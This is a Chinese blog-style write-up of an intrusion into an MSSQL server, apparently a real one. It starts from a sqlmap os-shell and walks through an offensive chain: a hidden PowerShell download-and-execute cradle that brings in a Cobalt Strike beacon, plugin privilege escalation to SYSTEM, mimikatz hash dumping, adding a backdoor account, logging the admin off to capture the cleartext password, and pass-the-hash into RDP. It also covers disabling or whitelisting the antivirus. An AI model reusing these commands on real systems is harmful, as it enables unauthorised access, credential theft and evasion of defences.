PS上线CS [color=rgba(0, 0, 0, 0.9)]先是队友跟我说有一个osshell的mssql数据库,问我怎么上CS。
由于是sqlmap的shell,先考虑的肯定是CS的powershell上线功能。
CS选择Attacks->Scripted Web Delivery:
[color=rgba(0, 0, 0, 0.9)]
这里选择一下要host的路径和listener即可,会返回一个上线字符串:
[color=rgba(0, 0, 0, 0.9)]
如:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('xxxx'))"
这里直接粘贴到os-shell里即可上线。 CS插件艰难提权[color=rgba(0, 0, 0, 0.9)]上来之后发现是SQLSERVER权限,需要提升到管理员权限。
这种情况下可以使用插件提权。点击Cobalt Strike->Script Manager进入插件管理界面:
[color=rgba(0, 0, 0, 0.9)]
点击Load加载插件,这里加载LSTAR.cna,选中后上方出现cna文件即可。 [color=rgba(0, 0, 0, 0.9)]然后就是无穷的换插件尝试过程,多番尝试后提权为SYSTEM成功。 尝试RDP提权之后(其实是之前)执行tasklist,发现目标上有火绒。对AV而言直接杀进程是不现实的(它通常都会有各种各样的重启手段),所以在Windows上最好的应对AV方式就是RDP过去,右键关闭AV,或者卸载(这个动静太大),或者添加白名单。
先使用命令查询RDP是否开启:
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
返回0x0则是开启,这里返回了0x0。
既然开启那通过tasklist查询一下PID然后查询端口号。
tasklist /svc | findstr "TermService"
返回的PORT代进去:
netstat -ano | findstr "[PORT]" 直接查到对面RDP端口为5679。登陆之路抓密码-解密码[color=rgba(0, 0, 0, 0.9)]既然RDP已经开了那就要抓密码了,使用mimikatz直接hashdump,果不其然没明文:
[color=rgba(0, 0, 0, 0.9)]
试着解一下NTLM,结果也是锤子都没:
新建用户RDP[color=rgba(0, 0, 0, 0.9)]但没事,抓不到Administrator的密码就新建个用户:
net user admin !@#123456 /Add
建完之后看看是否存在:
net user
只可惜大多数杀软对直接建账号有拦截,这里查看并没有新的账户产生。
[color=rgba(0, 0, 0, 0.9)]
然后尝试启用guest账户:
net user guest /active:yes
结果不出意料的也是失败了。
接着换用其它方法添加用户(主要是各种插件),搞出一堆被禁用账户后终于有了一个成功账户,结果一登录:
[color=rgba(0, 0, 0, 0.9)]
也是给没啥内网经验的我吓成狗屎了:
[color=rgba(0, 0, 0, 0.9)]
而在我犹犹豫豫不知道是登上去还是再等会的时候,无情的不知道啥玩意已经把我一键踢下,此时我表情be like:
[color=rgba(0, 0, 0, 0.9)]
更雪上加霜的是,Duang的一下,RDP端口和千辛万苦加上去的账号都飞了:
锁屏抓密码[color=rgba(0, 0, 0, 0.9)]吓鼠本萌新了,于是直接求助经验丰富的内网大佬。大佬说莫慌,山人自有妙计:
[color=rgba(0, 0, 0, 0.9)]
修改注册表明文显示密码,然后挤上去,在应急再次登录的时候抓一次密码就能用Administrator登上去啦。
用插件明文显示密码,然后输入query user,显示当前登录用户的ID,再使用logoff [ID]踢人下线。对方再次登陆时就可以抓到明文的密码了。
不过虽然理想很丰满,但对于有AV的机器来说,直接操作注册表是非常难的。所以整个步骤在第一步就卡住了,执行reg add返回拒绝访问:
pth登陆[color=rgba(0, 0, 0, 0.9)]常打内网的都知道,PTH也就是pass the hash,密钥传递攻击,是能够直接使用NTLM hash作为登陆凭证的。
本地关闭AV后使用管理员权限打开mimikatz,先上debug:
privilege::debug
然后做一个hash传递,在这个场景下打开远程工具mstsc,还需要带一个参数/restrictedadmin,也就是使用受限模式登陆系统。
sekurlsa::pth /user:Administrator /domain:[domain] /ntlm:[NTLM] "/run:mstec.exe /restrictedadmin"
[color=rgba(0, 0, 0, 0.9)]
使用此方式登陆成功:
小彩蛋[color=rgba(0, 0, 0, 0.9)]由于我们现在知悉了PTH的含义,那么这个传递的登陆方式也可以小小扩展一下,比如说用Windows身份验证登陆MSSQL,只要把最后的运行程序改成navicat即可~
|